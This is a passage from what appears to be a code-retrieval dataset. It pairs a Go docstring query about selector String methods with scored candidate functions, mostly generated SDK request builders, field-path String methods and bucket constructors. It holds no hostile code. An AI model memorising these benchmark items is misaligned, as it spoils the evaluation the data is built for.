requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "573b71f51c22146bf7cb265a7450f485", "score": "0.5900523", "text": "func (c *genericClient) getResponseTo(msg *pb.Message) (*pb.Message, error) {\n\tif err := c.send(msg); err != nil {\n\t\treturn nil, err\n\t}\n\treturn c.receive()\n}", "title": "" }, { "docid": "f82dd1ca0b0a4b296fbb3eb368fde630", "score": "0.58975786", "text": "func (m *DomainSecurityProfilesDomainSecurityProfileItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *DomainSecurityProfilesDomainSecurityProfileItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "f773f672c529a695716a99eb9aef9c67", "score": "0.58933294", "text": "func (m *PrintersItemGetCapabilitiesRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *PrintersItemGetCapabilitiesRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "7017c717e72aba3ef3f3d4e64705428d", "score": "0.58929676", "text": "func (m *ItemProfileWebsitesPersonWebsiteItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemProfileWebsitesPersonWebsiteItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" } ]
5b7ac773c1167e6ac1ab75dceefd7cee
String returns a single string from selector. It is only allowed when selecting one field.
[ { "docid": "21331c4c4c35b82b7d1bf793e803e3f8", "score": "0.0", "text": "func (ts *TreatmentSelect) String(ctx context.Context) (_ string, err error) {\n\tvar v []string\n\tif v, err = ts.Strings(ctx); err != nil {\n\t\treturn\n\t}\n\tswitch len(v) {\n\tcase 1:\n\t\treturn v[0], nil\n\tcase 0:\n\t\terr = &NotFoundError{treatment.Label}\n\tdefault:\n\t\terr = fmt.Errorf(\"ent: TreatmentSelect.Strings returned %d results when one was expected\", len(v))\n\t}\n\treturn\n}", "title": "" } ]
[ { "docid": "d47fb005412c8e25641bba97ca76e4ba", "score": "0.7486297", "text": "func (s Selector) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "51770f01adb8be64be5bfa41a87ebcc6", "score": "0.69843876", "text": "func (fp *Aggregation_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "a513556e267eeeaaca53e023b8d2e2e4", "score": "0.6947241", "text": "func (fp *Strings_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "0d55f362f6ed7d0bbb2914fb162efb2e", "score": "0.69307786", "text": "func (fp *Invitation_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "d979195c113bca2c8e61e3c2523f7bfe", "score": "0.689734", "text": "func (fp *DeleteResourceRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "3864cc2a0aad9b195796c7298d854121", "score": "0.6865769", "text": "func (fp *UpdateResourceRequestCAS_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "2e71b0d385286cca31a18e8494e1e397", "score": "0.6855486", "text": "func (fp *UpdateResourceRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "5cf96a5edd42acc58ba8b3e2833a2f57", "score": "0.6850948", "text": "func (fp *CreateResourceRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "cc6bfc164a2900f21995250cb6898dec", "score": "0.68347454", "text": "func (fp *MetricSelector_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "a4ac9b8ab834c24001113906946d2a0d", "score": "0.68272495", "text": "func (fp *GetResourceRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "5f4d24fe8a921db1314ac7519cc6fc63", "score": "0.6819388", "text": "func (fp *TypedValue_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "660fe303b2588e3088af25658d71bfe6", "score": "0.68073946", "text": "func (fp *MethodDescriptor_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "b0a5148babf5b8aee7577c2162bc89e9", "score": "0.6806352", "text": "func (fp *TimeSeriesSelector_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "d6dde7f2d0e4e5c4706bbb7a1a706941", "score": "0.68010265", "text": "func (fp *Alert_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "cf94a7a9fa623d4ec729b797bf2a0206", "score": "0.6794815", "text": "func (fp *Actor_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "b4d40447644fcb86b6c3cae46d4976fe", "score": "0.67776316", "text": "func (fp *Distribution_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "f252604b44306d50ff7da279e52fa9b6", "score": "0.6777099", "text": "func (fp *MonitoredResourceSelector_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "d1ff1cd5441514886a091e46ffaeba9f", "score": "0.6726083", "text": "func (fp *LabelDescriptor_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "8d360f4d311fe1313418850729ec86c4", "score": "0.67257905", "text": "func (fp *LabelKeySet_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "1714acf5b9e10b790943d0dfa6d8162e", "score": "0.6723833", "text": "func (n *NodeSelector) String() string {\n\tvar value bytes.Buffer\n\tif err := json.NewEncoder(&value).Encode(n); err != nil {\n\t\tpanic(err)\n\t}\n\treturn strings.TrimSpace(value.String())\n}", "title": "" }, { "docid": "6c0e4e3cf5d9cc5876f2659a1aa67bfd", "score": "0.6722138", "text": "func (s StartSelector) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "770717038716b58771292e365d9ce173", "score": "0.669159", "text": "func (fp *AlertInfo_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "53d3e5cee6cc76309aacdebd5fc19102", "score": "0.6673116", "text": "func (fp *TimeRange_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "e2d8dd4e0e45ae98167841e549949a80", "score": "0.6642821", "text": "func (s FragmentSelector) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f4f85b04c10294586d772775d7ef2266", "score": "0.66326416", "text": "func (fp *DistributionRange_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "a52224197b631e8ecad509a2c37ec76c", "score": "0.6620514", "text": "func (fp *BatchGetResourcesRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "c7d8009a0ffae90eb13ad179d5d09d5e", "score": "0.6605634", "text": "func (fp *DistributionBucketOptions_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "d1af341531a8be71e9d486fe39fcdd05", "score": "0.6601713", "text": "func (fp *WatchResourceRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "e8b5f1ddf0a9bc7fb15b9d20bb1a7f2d", "score": "0.6594699", "text": "func (fps *Invitation_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "5e42ed68e7cee3b584c9b10328bdc5fb", "score": "0.6590062", "text": "func (ad *ActivityDump) getSelectorStr() string {\n\ttags := make([]string, 0, len(ad.Tags)+2)\n\tif len(ad.Metadata.ContainerID) > 0 {\n\t\ttags = append(tags, fmt.Sprintf(\"container_id:%s\", ad.Metadata.ContainerID))\n\t}\n\tif len(ad.Metadata.Comm) > 0 {\n\t\ttags = append(tags, fmt.Sprintf(\"comm:%s\", ad.Metadata.Comm))\n\t}\n\tif len(ad.Tags) > 0 {\n\t\tfor _, tag := range ad.Tags {\n\t\t\tif !strings.HasPrefix(tag, \"container_id\") {\n\t\t\t\ttags = append(tags, tag)\n\t\t\t}\n\t\t}\n\t}\n\tif len(tags) == 0 {\n\t\treturn \"empty_selector\"\n\t}\n\treturn strings.Join(tags, \",\")\n}", "title": "" }, { "docid": "ceb35d18b42f22f18ce9b0c0eb18e4b6", "score": "0.6587051", "text": "func (fp *AlertState_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "60f8c46ff1e9a209082c2e5c3b09307e", "score": "0.65856665", "text": "func (fp *ListResourcesRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "fcb1d8c4e5aca97db60ed020d7ce057d", "score": "0.6585278", "text": "func (fp *Metric_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "c3c7eef9d3d1d6e669e8f2922583bdea", "score": "0.6584123", "text": "func (fp *BatchGetResourcesResponse_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "cf629cf9e6905df096a49ce174086883", "score": "0.656624", "text": "func (fp *MonitoredResource_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "dcfcfaedba8ecfa4bc1222f4d044b24c", "score": "0.6555056", "text": "func (fp *GetRoleBindingRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "80c1fa5471bd9bebeb2c24026cbcacf2", "score": "0.6550194", "text": "func (fp *DistributionBucketOptionsExplicit_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "6c052677044305fadc55f3d97c8c3531", "score": "0.654237", "text": "func (fps *TypedValue_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "735c8156fcd3fda7a33213b0e818f138", "score": "0.65196687", "text": "func (fp *TimeInterval_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "2988a75cf96a12115d529b8bfb63a53a", "score": "0.6518525", "text": "func (fps *Alert_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "000dc3946a1b92acd321d28880400175", "score": "0.6507396", "text": "func (fp *AlertInfoObservedValues_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "d8d1fcda37c1aa200913c8725863bc36", "score": "0.6499688", "text": "func (fp *DistributionBucketOptionsLinear_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "a5ddfec4ac23ba9e9a1fa3cdca2cd134", "score": "0.649963", "text": "func (fp *ListResourcesResponse_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "c7914dce085cd159e89d5ac4dfa98fd4", "score": "0.64975435", "text": "func (fp *DeleteAlertingPolicyRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "12275126be60dfc3637cbb358fe23dc2", "score": "0.64853495", "text": "func (fps *AlertInfo_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "b1a90057a8fd74c58dd05786bfd05b03", "score": "0.6480405", "text": "func (fp *CreateAlertingPolicyRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "35a0cc98265ca3b0d0ee1a605ec09016", "score": "0.6479398", "text": "func (fp *UpdateAlertingPolicyRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "2d66a080f2ba8673b1f37d170591c681", "score": "0.6478865", "text": "func (s DASHFragmentSelector) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "2447f926b847d1a08c2971a8930c85ef", "score": "0.647788", "text": "func (fps *TimeSeriesSelector_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "8bd092921b9c4b2dd395efa4f1cfd804", "score": "0.6474653", "text": "func (fp *GetAlertingPolicyRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "7495597d8d8797132275d4be13dd3305", "score": "0.64718556", "text": "func (fps *AlertState_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "5d5b9fbf4d2420f05ef500ef3b55e61c", "score": "0.64688706", "text": "func (fp *UpdateRoleBindingRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "7634ec11333bcd81319bee5fb953d8ac", "score": "0.6457726", "text": "func (s HLSFragmentSelector) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "395085e84ad0db0ccfa93550ba658e3e", "score": "0.6456765", "text": "func (fp *BatchGetRoleBindingsResponse_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "9af999c32b1aa05a6199dd57196ca9f7", "score": "0.64563125", "text": "func (fp *DeleteProvisioningPolicyRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "dae2824f089d894c4d0f0e2704611c39", "score": "0.645268", "text": "func (fps *CreateAlertingPolicyRequest_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "142a8c95417d4308a08bffe142535e33", "score": "0.645189", "text": "func (fp *UpdateRoleBindingRequestCAS_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "be31f2dfaa310f439c37a37024ea87a0", "score": "0.64495665", "text": "func (fps *Distribution_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "375de5352ea990b7618243750572175a", "score": "0.6449114", "text": "func (fp *WatchResourcesRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "9f3e3d07a0ea4accba5edb4ce682c465", "score": "0.6447576", "text": "func (fp *UpdateProvisioningPolicyRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "8e6578f53e17aabb8ef80038e33fe9e1", "score": "0.6445817", "text": "func (fp *DistributionBucketOptionsDynamic_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "1ce9d181b9b410e87a23c31882a1051f", "score": "0.6444498", "text": "func (fp *GetProvisioningPolicyRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "9a22341aae76f831cb3171fe8aaf9215", "score": "0.6441655", "text": "func (fp *TestNotificationChannelRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "7fd9090bf0826619cea53f33497c3fea", "score": "0.64412063", "text": "func (fp *CreateProvisioningPolicyRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "2540ca22e9fafa5ae683110e55607e90", "score": "0.6437217", "text": "func (fp *WatchResourceResponse_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "9257f2d91d778eee1aa7f8d02d4555d1", "score": "0.64273274", "text": "func (fps *CreateProvisioningPolicyRequest_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "530855a50e76e30d4bcf6ea9c448a7a0", "score": "0.64223737", "text": "func (fp *DistributionBucketOptionsExponential_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "029d9e0a0a280160d91bea1952fcc9e3", "score": "0.64220536", "text": "func (fp *MonitoredResourceMetadata_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "6e600928648a07a000578d3f40b8f558", "score": "0.6411208", "text": "func (fp *DeleteRoleBindingRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "a9f21c1877d811233666ab94123974b7", "score": "0.6400281", "text": "func (fp *BatchGetRoleBindingsRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "1359798939ba974407803c39c4630eb8", "score": "0.6384442", "text": "func (fps *CreateResourceRequest_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "9d31ec9f5a0791eff5d7ca907cc247ea", "score": "0.63833845", "text": "func (fp *AlertInfoTimeSerie_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "6aac2bc8d38aabf482629d963305fba1", "score": "0.63826334", "text": "func (ad *ActivityDump) GetSelectorStr() string {\n\tad.Lock()\n\tdefer ad.Unlock()\n\n\treturn ad.getSelectorStr()\n}", "title": "" }, { "docid": "c41e6311baf05428400f7fc956443af8", "score": "0.63799804", "text": "func (s ClipFragmentSelector) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "fa0a5595752499483f29e8ac0bef2517", "score": "0.63782954", "text": "func (fp *SearchAlertingPoliciesRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "20d090e2a5dc0339a617f1c61dac346d", "score": "0.6374238", "text": "func (fp *WatchResourcesResponse_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "45023e0fa9963af865750dbd53e6da90", "score": "0.6374134", "text": "func (fp *UpdateAlertingPolicyRequestCAS_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "e7e55196f50687f33a83d2cf145a07f5", "score": "0.6368649", "text": "func (fps *UpdateResourceRequestCAS_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "447a6d5462f4ce9a7601b4a618bb36a6", "score": "0.63685566", "text": "func (fp *WatchRoleBindingsResponse_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "f1b14b8cabfdb37fc5781e0a4226c595", "score": "0.6363742", "text": "func (fp *BatchGetAlertingPoliciesRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "eb5bb2d259dfcf2ed01e9a679a05cf80", "score": "0.63636935", "text": "func (fp *CreateRoleBindingRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "7623e3bdb35d52ff40f9446f41b627ef", "score": "0.63579094", "text": "func (fp *WatchRoleBindingsRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "11a08de362b3fe7bea7b1025a81461fe", "score": "0.6351347", "text": "func (fps *UpdateAlertingPolicyRequest_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "d60e7664e6bbd113a6e423d0217fe301", "score": "0.63489705", "text": "func (fps *DistributionBucketOptions_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "1a5f801e33a92e2917e80db63b78b46d", "score": "0.6345912", "text": "func (fp *ListAlertingPoliciesRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "12e7b4ba43a12e3451a5fd97b9eac39f", "score": "0.6341315", "text": "func (fp *UpdateProvisioningPolicyRequestCAS_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "8f7f6799879539679226dd772c6ea0ce", "score": "0.6340582", "text": "func (fps *MethodDescriptor_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "832bf5e13d3fca1059de6a627ba226a0", "score": "0.63210475", "text": "func (fp *BatchGetAlertingPoliciesResponse_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "c51dc1c9708be7a040c8440d4d66c699", "score": "0.6310894", "text": "func (fps *UpdateResourceRequest_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "c6f4d96901605d7e91322c1cd690905a", "score": "0.63018304", "text": "func (fp *SearchAlertingPoliciesResponse_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "a420ffdd185b46e1f22b3a11ed28c777", "score": "0.6297155", "text": "func (fps *AlertInfoTimeSerie_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "f906d2441e94b737fdd2e55ccb99e2e0", "score": "0.6293475", "text": "func (fp *DeletePhantomTimeSerieRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "a6a01e87849f556f9845af47174ed990", "score": "0.6293257", "text": "func (dsc DscType) SelectStr(tailStr string) string {\n\treturn fmt.Sprintf(\"SELECT %s FROM %s%s;\",\n\t\tdsc.sel.nameStr, dsc.tblStr, prePad(tailStr))\n}", "title": "" }, { "docid": "10f381a00e0f10eba13ad8a7ce9bc588", "score": "0.6290799", "text": "func (fp *BatchGetProvisioningPoliciesRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "3d2def72343b73cbfb190b9b498303d8", "score": "0.6289161", "text": "func (fps *CreateRoleBindingRequest_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "e6ef7a63be09051eec6faafb14467e02", "score": "0.6286827", "text": "func (fps *ProvisionDeviceForApprovedRequestRequest_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "783adc7e572776f21e488a69e04b26ba", "score": "0.6284735", "text": "func (fp *WatchAlertingPoliciesRequest_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "aea4b0e233d89d9c6875573a4cd7779d", "score": "0.62827826", "text": "func (fp *ListRoleBindingsResponse_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "873b07c787fe24d06b865e91cd16528c", "score": "0.6279244", "text": "func (fp *ListAlertingPoliciesResponse_FieldTerminalPath) String() string {\n\treturn fp.selector.String()\n}", "title": "" }, { "docid": "1d5753f018913e24252c378da7fa75c1", "score": "0.6275586", "text": "func (fps *SearchAlertingPoliciesResponse_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" }, { "docid": "7ac6b94b1b221abc9ec1bcd2ef2eb90b", "score": "0.6267246", "text": "func (fps *UpdateProvisioningPolicyRequest_FieldSubPath) String() string {\n\treturn fps.selector.String() + \".\" + fps.subPath.String()\n}", "title": "" } ]
d3d2d6eba75fbe3a6f36582aef41d8e1
The sample request in this topic shows you how to query the details of the `newbucket` resource.
[ { "docid": "3f3b40c268390af75520b5c4c2149cd1", "score": "0.0", "text": "func (client *Client) GetDiscoveredResource(request *GetDiscoveredResourceRequest) (_result *GetDiscoveredResourceResponse, _err error) {\n\truntime := &util.RuntimeOptions{}\n\t_result = &GetDiscoveredResourceResponse{}\n\t_body, _err := client.GetDiscoveredResourceWithOptions(request, runtime)\n\tif _err != nil {\n\t\treturn _result, _err\n\t}\n\t_result = _body\n\treturn _result, _err\n}", "title": "" } ]
[ { "docid": "9f6e34cc79edcdfbafe79ea806675554", "score": "0.6800229", "text": "func TestNewBucket(t *testing.T) {\n\tSetTestMode(true)\n\topen(func(db *bolt.DB, path string) {\n\t\tdb.Close()\n\t\trun(\"newbucket\", path, \"some_test\")\n\t\trun(\"newbucket\", path, \"another_test\")\n\n\t\toutput := run(\"buckets\", path)\n\t\tassert.Equal(t, \"<nil>\\n<nil>\\nanother_test\\nsome_test\", output)\n\t})\n}", "title": "" }, { "docid": "e8e8738625bc35fd1e9811068308bf04", "score": "0.6579674", "text": "func (rm *resourceManager) newGetBucketTaggingPayload(\n\tr *resource,\n) *svcsdk.GetBucketTaggingInput {\n\tres := &svcsdk.GetBucketTaggingInput{}\n\tres.SetBucket(*r.ko.Spec.Name)\n\treturn res\n}", "title": "" }, { "docid": "02670b262ca679969dbdeb3ea3f94fda", "score": "0.6565186", "text": "func NewBucket(cl *storage.Service, project, bucket string) error {\n\t_, err := cl.Buckets.Insert(project, &storage.Bucket{Name: bucket}).Do()\n\treturn err\n}", "title": "" }, { "docid": "508eff42dd1bbeb94e92f50dd1221a44", "score": "0.6564484", "text": "func newBucket(b *bucketMeta, bb *bbolt.Bucket) *Bucket {\n\treturn &Bucket{\n\t\tbm: b,\n\t\tboltBucket: bb,\n\t}\n}", "title": "" }, { "docid": "46325b2866a7217412d9d76c1b5608c0", "score": "0.6463468", "text": "func (rm *resourceManager) newGetBucketVersioningPayload(\n\tr *resource,\n) *svcsdk.GetBucketVersioningInput {\n\tres := &svcsdk.GetBucketVersioningInput{}\n\tres.SetBucket(*r.ko.Spec.Name)\n\treturn res\n}", "title": "" }, { "docid": "5d0b11a316ebd48ce18c145ee0b50bb6", "score": "0.6376906", "text": "func (rm *resourceManager) newGetBucketLoggingPayload(\n\tr *resource,\n) *svcsdk.GetBucketLoggingInput {\n\tres := &svcsdk.GetBucketLoggingInput{}\n\tres.SetBucket(*r.ko.Spec.Name)\n\treturn res\n}", "title": "" }, { "docid": "96a381e2632d59af98247fbdab2d3aee", "score": "0.63257164", "text": "func NewBucket(file string, flags int) (bkt *Bucket, err error) {\n\tbkt = &Bucket{fileName: file, flags: flags, data: make(map[int]interface{})}\n\tif err = bkt.setup(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn\n}", "title": "" }, { "docid": "36e87bf02ced2ea4f033f60a4b49ff8e", "score": "0.63022995", "text": "func newBucketPutter(bkt *bbolt.Bucket) *bucketPutter {\n\treturn &bucketPutter{bucket: bkt}\n}", "title": "" }, { "docid": "36e87bf02ced2ea4f033f60a4b49ff8e", "score": "0.63022995", "text": "func newBucketPutter(bkt *bbolt.Bucket) *bucketPutter {\n\treturn &bucketPutter{bucket: bkt}\n}", "title": "" }, { "docid": "f3f5013c674bea419550f5d7aee9a983", "score": "0.6272697", "text": "func NewBucket(ctx *pulumi.Context,\n\tname string, args *BucketArgs, opts ...pulumi.ResourceOption) (*Bucket, error) {\n\tif args == nil {\n\t\treturn nil, errors.New(\"missing one or more required arguments\")\n\t}\n\n\tif args.BucketId == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'BucketId'\")\n\t}\n\treplaceOnChanges := pulumi.ReplaceOnChanges([]string{\n\t\t\"bucketId\",\n\t\t\"location\",\n\t\t\"project\",\n\t})\n\topts = append(opts, replaceOnChanges)\n\topts = internal.PkgResourceDefaultOpts(opts)\n\tvar resource Bucket\n\terr := ctx.RegisterResource(\"google-native:logging/v2:Bucket\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "title": "" }, { "docid": "533cea2d208107b97ff1816d92ee9e76", "score": "0.62418634", "text": "func (rm *resourceManager) newGetBucketNotificationPayload(\n\tr *resource,\n) *svcsdk.GetBucketNotificationConfigurationRequest {\n\tres := 